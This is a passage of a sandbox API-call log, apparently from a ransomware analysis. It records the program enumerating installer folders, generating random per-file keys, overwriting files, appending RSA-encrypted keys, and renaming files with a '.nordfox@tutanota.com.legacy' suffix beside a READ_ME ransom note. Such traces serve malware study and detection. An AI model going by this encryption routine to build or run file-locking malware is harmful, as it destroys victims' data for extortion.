hHeap=0x520000) returned 1 [0102.772] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1044\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0102.774] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0102.774] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0102.774] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0102.774] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0102.774] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0102.774] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0102.774] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d528 | out: hHeap=0x520000) returned 1 [0102.774] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d3120d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0ce8 [0102.774] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0102.774] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0102.774] GetLastError () returned 0x0 [0102.775] SetLastError (dwErrCode=0x0) [0102.775] GetLastError () returned 0x0 [0102.775] SetLastError (dwErrCode=0x0) [0102.775] GetLastError () returned 0x0 [0102.775] SetLastError (dwErrCode=0x0) [0102.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567038 [0102.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d9d0 [0102.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0102.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0102.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a09a8 [0102.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a09a8 | out: hHeap=0x520000) returned 1 [0102.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201f8 [0102.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201f8 | out: hHeap=0x520000) returned 1 [0102.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0102.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567038 | out: hHeap=0x520000) returned 1 [0102.775] FindNextFileW (in: hFindFile=0x5a0ce8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d3120d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0102.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0102.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0102.775] GetLastError () returned 0x0 [0102.775] SetLastError (dwErrCode=0x0) [0102.775] GetLastError () returned 0x0 [0102.775] SetLastError (dwErrCode=0x0) [0102.775] GetLastError () returned 0x0 [0102.775] SetLastError (dwErrCode=0x0) [0102.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0102.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d8c8 [0102.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0102.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0102.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0928 [0102.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0928 | out: hHeap=0x520000) returned 1 [0102.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20120 [0102.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20120 | out: hHeap=0x520000) returned 1 [0102.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0102.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0102.776] FindNextFileW (in: hFindFile=0x5a0ce8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0102.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0102.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0102.776] GetLastError () returned 0x0 [0102.776] SetLastError (dwErrCode=0x0) [0102.776] GetLastError () returned 0x0 [0102.776] SetLastError (dwErrCode=0x0) [0102.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0102.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0102.776] GetLastError () returned 0x0 [0102.776] SetLastError (dwErrCode=0x0) [0102.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0102.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0102.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0102.776] FindNextFileW (in: hFindFile=0x5a0ce8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0102.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0102.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0102.776] GetLastError () returned 0x0 [0102.776] SetLastError (dwErrCode=0x0) [0102.776] GetLastError () returned 0x0 [0102.776] SetLastError (dwErrCode=0x0) [0102.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0102.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0102.777] GetLastError () returned 0x0 [0102.777] SetLastError (dwErrCode=0x0) [0102.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567150 [0102.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567150 | out: hHeap=0x520000) returned 1 [0102.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0102.777] FindNextFileW (in: hFindFile=0x5a0ce8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d3120d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8d3120d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8d3120d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0102.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0102.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0102.777] GetLastError () returned 0x0 [0102.777] SetLastError (dwErrCode=0x0) [0102.777] GetLastError () returned 0x0 [0102.777] SetLastError (dwErrCode=0x0) [0102.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0102.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0102.777] GetLastError () returned 0x0 [0102.777] SetLastError (dwErrCode=0x0) [0102.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0102.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0102.777] FindNextFileW (in: hFindFile=0x5a0ce8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0102.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0102.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0102.777] GetLastError () returned 0x0 [0102.777] SetLastError (dwErrCode=0x0) [0102.777] GetLastError () returned 0x0 [0102.777] SetLastError (dwErrCode=0x0) [0102.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0102.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0102.777] GetLastError () returned 0x0 [0102.777] SetLastError (dwErrCode=0x0) [0102.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567150 [0102.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567150 | out: hHeap=0x520000) returned 1 [0102.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0102.778] FindNextFileW (in: hFindFile=0x5a0ce8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0102.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5568b0 [0102.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584988 [0102.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d140 [0102.778] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584988 | out: pbBuffer=0x584988) returned 1 [0102.778] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d140 | out: pbBuffer=0x54d140) returned 1 [0102.778] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1045\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0102.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0102.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0102.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0102.778] CreateFileW (lpFileName="\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c4 [0102.779] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18264) returned 1 [0102.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4758) returned 0x5a0f80 [0102.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4758) returned 0x5a56e0 [0102.779] ReadFile (in: hFile=0x4c4, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x4758, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x4758, lpOverlapped=0x0) returned 1 [0102.969] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=-18264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.969] WriteFile (in: hFile=0x4c4, lpBuffer=0x5a56e0*, nNumberOfBytesToWrite=0x4758, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a56e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4758, lpOverlapped=0x0) returned 1 [0102.970] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0102.970] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a56e0 | out: hHeap=0x520000) returned 1 [0102.971] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4758 [0102.971] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0102.971] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0102.972] WriteFile (in: hFile=0x4c4, lpBuffer=0x584988*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584988*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0102.972] WriteFile (in: hFile=0x4c4, lpBuffer=0x54d140*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d140*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0102.972] CloseHandle (hObject=0x4c4) returned 1 [0102.974] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584988 | out: hHeap=0x520000) returned 1 [0102.974] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d140 | out: hHeap=0x520000) returned 1 [0102.974] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1045\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0102.976] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0102.976] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5568b0 | out: hHeap=0x520000) returned 1 [0102.976] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0102.976] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0102.976] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0102.976] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0102.976] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0102.976] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0102.976] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1045\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0102.976] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0102.976] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0102.976] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0102.976] CreateFileW (lpFileName="\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c4 [0102.977] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=82374) returned 1 [0102.977] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x141c6) returned 0x5a0f80 [0102.977] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x141c6) returned 0x5b5150 [0102.977] ReadFile (in: hFile=0x4c4, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x141c6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x141c6, lpOverlapped=0x0) returned 1 [0103.051] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=-82374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.051] WriteFile (in: hFile=0x4c4, lpBuffer=0x5b5150*, nNumberOfBytesToWrite=0x141c6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5b5150*, lpNumberOfBytesWritten=0x2e1f9bc*=0x141c6, lpOverlapped=0x0) returned 1 [0103.052] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0103.053] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5b5150 | out: hHeap=0x520000) returned 1 [0103.054] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x141c6 [0103.054] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0103.054] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0103.055] WriteFile (in: hFile=0x4c4, lpBuffer=0x584880*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0103.055] WriteFile (in: hFile=0x4c4, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0103.055] CloseHandle (hObject=0x4c4) returned 1 [0103.061] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584880 | out: hHeap=0x520000) returned 1 [0103.061] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0103.061] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1045\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0103.063] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0103.063] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0103.063] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0103.063] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0103.063] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584250 [0103.063] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0103.063] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584250 | out: pbBuffer=0x584250) returned 1 [0103.063] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0103.063] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1045\\eula.rtf", dwFileAttributes=0x80) returned 1 [0103.063] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0103.064] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0103.064] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0103.064] CreateFileW (lpFileName="\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c4 [0103.064] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4040) returned 1 [0103.064] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfc8) returned 0x5a0f80 [0103.064] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfc8) returned 0x5a1f50 [0103.064] ReadFile (in: hFile=0x4c4, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0xfc8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0xfc8, lpOverlapped=0x0) returned 1 [0103.316] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=-4040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.317] WriteFile (in: hFile=0x4c4, lpBuffer=0x5a1f50*, nNumberOfBytesToWrite=0xfc8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a1f50*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfc8, lpOverlapped=0x0) returned 1 [0103.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0103.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a1f50 | out: hHeap=0x520000) returned 1 [0103.317] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfc8 [0103.317] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0103.317] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0103.317] WriteFile (in: hFile=0x4c4, lpBuffer=0x584250*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0103.318] WriteFile (in: hFile=0x4c4, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0103.318] CloseHandle (hObject=0x4c4) returned 1 [0103.319] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584250 | out: hHeap=0x520000) returned 1 [0103.319] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0103.319] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1045\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0103.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0103.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0103.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0103.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0103.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0103.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0103.324] 